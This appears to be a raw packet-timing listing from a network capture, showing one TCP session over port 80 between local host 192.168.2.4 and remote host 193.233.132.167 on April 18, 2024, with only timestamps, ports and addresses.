Apr 18, 2024 23:40:15.399276972 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.399291992 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.399305105 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.399307013 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.399317980 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.399327040 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.399332047 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.399348021 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.399353981 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.399353981 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.399360895 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.399375916 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.399374008 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.399389029 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.399399996 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.399400949 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.399404049 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.399416924 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.399419069 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.399430990 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.399439096 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.399444103 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.399456978 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.399467945 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.399467945 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.399470091 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.399483919 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.399487972 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.399497986 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.399511099 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.399513960 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.399513960 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.399523973 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.399538040 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.399547100 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.399547100 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.399549961 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.399564028 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.399568081 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.399576902 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.399584055 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.399590015 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.399602890 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.399615049 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.399627924 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.399641037 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.399653912 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.399667025 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.399678946 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.399692059 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.399704933 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.399717093 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.399729967 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.399743080 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.399755955 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.399769068 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.399780989 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.399795055 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.399807930 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.399821043 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.399828911 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.399833918 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.399847031 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.399859905 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.399873018 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.399885893 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.399898052 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.399910927 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.399924994 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.399938107 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.399951935 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.399965048 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.399977922 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.399981976 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.399990082 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400000095 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.400002956 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400016069 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400017023 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.400027990 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400032997 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.400039911 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400053024 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400053024 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.400067091 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400070906 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400073051 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400075912 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400077105 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.400078058 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.400088072 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400116920 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.400116920 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.400121927 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400135994 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400150061 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400162935 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400176048 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400188923 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400202036 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400214911 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400228024 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400238991 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.400238991 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.400242090 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400239944 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.400239944 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.400239944 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.400239944 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.400239944 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.400257111 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400269985 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400283098 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400289059 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.400289059 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.400296926 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400311947 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.400322914 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400326967 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.400336027 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400338888 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400352001 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400363922 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.400365114 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400379896 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400384903 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.400393009 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400404930 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.400408030 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400422096 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400422096 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.400438070 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400444984 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.400450945 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400465012 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400468111 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.400479078 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400487900 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.400491953 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400505066 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400512934 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.400516987 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400530100 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400532007 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.400543928 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400552034 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.400557041 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400569916 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400583029 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400593042 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.400597095 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400609970 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400619030 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.400623083 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400638103 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.400640011 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400650978 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400654078 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400657892 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.400659084 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400665998 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400675058 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400682926 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400691032 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400692940 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400698900 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400702000 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.400702000 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.400710106 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400718927 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400724888 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400727987 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400731087 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.400734901 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400738001 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400739908 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400741100 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400742054 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400743961 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400746107 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400744915 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.400748014 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400769949 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400778055 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400783062 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.400784016 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400790930 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400799990 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400805950 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400810003 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.400810003 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.400813103 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400820017 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400829077 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400830984 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400834084 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.400852919 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400860071 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400861025 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400872946 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400876999 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.400892019 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400897980 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.400911093 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400917053 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.400929928 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400933981 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.400948048 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400954962 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.400965929 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400971889 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.400985956 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.400993109 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.401005983 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.401016951 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.401024103 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.401036024 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.401042938 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.401060104 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.401077032 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.401102066 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.401102066 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.401103020 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.401108027 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.401123047 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.401127100 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.401135921 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.401151896 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.401165962 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.401168108 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.401168108 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.401180029 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.401195049 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.401196003 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.401196003 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.401209116 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.401220083 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.401222944 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.401237965 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.401240110 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.401252031 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.401253939 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.401263952 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.401271105 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.401277065 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.401290894 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.401292086 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.401304007 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.401316881 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.401318073 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.401318073 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.401329994 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.401338100 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.401344061 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.401357889 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.401364088 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.401365042 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.401371002 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.401384115 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.401388884 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.401397943 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.401407957 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.401411057 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.401423931 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.401427031 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.401437998 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.401452065 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.401452065 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.401452065 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.401469946 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.401484013 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.401484013 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.401484966 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.401498079 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.401504040 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.401510954 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.401525021 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.401524067 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.401537895 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.401545048 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.401551008 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.401565075 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.401575089 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.401577950 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.401591063 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.401603937 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.401618004 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.401618958 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.401618958 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.401629925 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.401638031 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.401643038 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.401657104 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.401660919 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.401669979 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.401683092 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.401695013 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.401704073 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.401704073 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.401707888 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.401720047 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.401724100 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.401732922 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.401746988 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.401758909 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.401767969 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.401767969 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.401772022 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.401786089 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.401797056 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.401798964 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.401812077 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.401824951 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.401825905 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.401838064 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.401844025 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.401849985 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.401864052 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.401865005 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.401875973 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.401881933 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.401889086 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.401901960 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.401911974 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.401915073 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.401927948 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.401933908 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.401941061 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.401953936 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.401954889 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.401967049 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.401979923 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.401992083 CEST	80	49746	193.233.132.167	192.168.2.4
